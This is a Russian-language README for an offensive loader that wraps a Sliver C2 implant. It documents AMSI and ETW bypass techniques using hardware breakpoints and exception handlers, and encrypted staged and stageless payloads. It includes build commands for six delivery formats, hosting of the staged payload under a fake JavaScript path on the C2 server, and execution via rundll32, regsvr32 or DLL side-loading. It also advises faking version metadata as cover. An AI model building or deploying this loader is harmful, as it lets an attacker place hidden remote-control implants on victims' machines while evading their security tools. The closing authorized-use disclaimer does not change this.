
Crystal Palace PICO loader for Sliver C2 двухуровневый обход AMSI, подавление ETW, полезные нагрузки, зашифрованные AES-256-CBC, 6 вариантов доставки
Форк CrystalSliver, расширяющий загрузчик Crystal Palace PICO обходом AMSI в два слоя, глушением ETW и шестью вариантами доставки для Sliver C2.
SliverMirage оборачивает DLL-имплант Sliver через PICO-виртуализацию Crystal Palace, а затем доставляет его через загрузчик, который нейтрализует AMSI и ETW без патчинга amsi.dll или ntdll.dll.
Стек обхода:
| Слой | Техника | Детали |
|---|
| AMSI L1 | Порча строк CLR | LdrRegisterDllNotification перехватывает загрузку clr.dll, портит AmsiScanBuffer в .rdata до вызова GetProcAddress из CLR |
| AMSI L2 | VEH + HWBP | Vectored Exception Handler на AmsiScanBuffer возвращает E_INVALIDARG |
| ETW | HWBP | DR1 на NtTraceControl возвращает STATUS_SUCCESS |
| Полезная нагрузка | AES-256-CBC + XOR | Расшифровка через BCrypt, VirtualAlloc(RW) -> VirtualProtect(RX), ноль RWX |
| Виртуализация | Crystal Palace PICO | DLL Sliver работает внутри PICO-процесса, невидимого для пользовательского AV |
| Формат | Файл | Доставка | C2 во время выполнения? |
|---|---|---|---|
exe | Стейджед EXE | EXE + payload.dat на сайте C2 | Да (HTTPS) |
exe-stageless | Бесстейджевый EXE | Один EXE | Нет |
dll | Бесстейджевая DLL | Одна DLL | Нет |
dll-staged | Стейджед DLL | DLL + payload.dat на сайте C2 | Да (HTTPS) |
shellcode | Стейджед шеллкод | .bin + payload.dat | Да (HTTPS) |
shellcode-stageless | Бесстейджевый шеллкод | Один .bin | Нет |
Стейджед-варианты загружают зашифрованный PICO во время выполнения с HTTPS-сайта Sliver. EXE/DLL имеет небольшой размер (~20 КБ) и не содержит полезной нагрузки на диске.
Бесстейджевые варианты встраивают зашифрованный PICO на этапе компиляции (двойной слой XOR + AES). Больше размер на диске, но ноль сетевой активности до callback-бикона.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 с pefile (pip install pefile)opensslbuild.sh)Скрипт сборки автоматически доустанавливает недостающие зависимости (включая Crystal Palace и Java 17) и выполняет полный конвейер: DLL -> Crystal Palace PICO -> шифрование -> компиляция.
# Стейджед EXE (по умолчанию)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Бесстейджевый EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Бесстейджевая DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Стейджед DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Шеллкод (стейджед)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Шеллкод (бесстейджевый)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Опции:
--dll <путь> — DLL-имплант Sliver (обязательно)--host <ip> — IP C2-сервера (обязательно для стейджед-форматов)--port <порт> — Порт C2 (по умолчанию: 443)--path <путь> — URL-путь для загрузки полезной нагрузки (по умолчанию: /assets/js/vendor.js)--format <fmt> — Формат вывода (по умолчанию: exe)--export <имя> — Кастомное имя экспортируемой функции DLLЕсли у вас уже есть PICO-блоб Crystal Palace:
# Стейджед EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Бесстейджевый EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Бесстейджевая DLL
make dll PICO=/path/to/implant.crystal.bin
# Все цели
make clean
Загрузите build/payload.dat на HTTPS-сайт Sliver:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Доставьте build/csvchelper.exe (или .dll) на целевую машину.
Доставка одним файлом. Настройка сайта C2 не требуется.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
Или используйте DLL-сайдлоадинг (переименуйте в имя легитимной DLL, которую загружает целевое приложение).
Экспорты: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Загрузчик Crystal Palace PICO (из CrystalSliver)
src/ # C-исходники загрузчика + ASM драугра
loader.spec # Линкер-спецификация Crystal Palace
pico.spec # Спецификация генерации PICO
src/
stager_remote.c # Стейджед EXE
stager_stageless.c # Бесстейджевый EXE
stager_remote_dll.c # Стейджед DLL
stager_stageless_dll.c # Бесстейджевая DLL
stager_debug.c # Отладочный EXE (диагностика через MessageBox)
scripts/
gen_payload.py # Шифрование AES-256-CBC (стейджед)
gen_payload_stageless.py # Встраивание AES + XOR (бесстейджевый)
dll_to_shellcode.py # Конвертер DLL в шеллкод через sRDI
resources/
resource.rc # Информация о версии (EXE)
resource_dll.rc # Информация о версии (DLL)
manifest.xml # Манифест asInvoker
libtcg.x64.zip # Библиотека TCG для Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — всё легитимные Windows APIVirtualProtect на системных DLLWinMain, -mwindows — без мелькания консолиasInvoker подавляет эвристики UACresource.rc / resource_dll.rc под свою легенду прикрытия перед сборкойЭтот проект предназначен только для авторизованного тестирования безопасности, исследований и образовательных целей. Используйте его исключительно в средах, где у вас есть явное письменное разрешение на проведение пентеста. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за неправомерное использование этого программного обеспечения.
MIT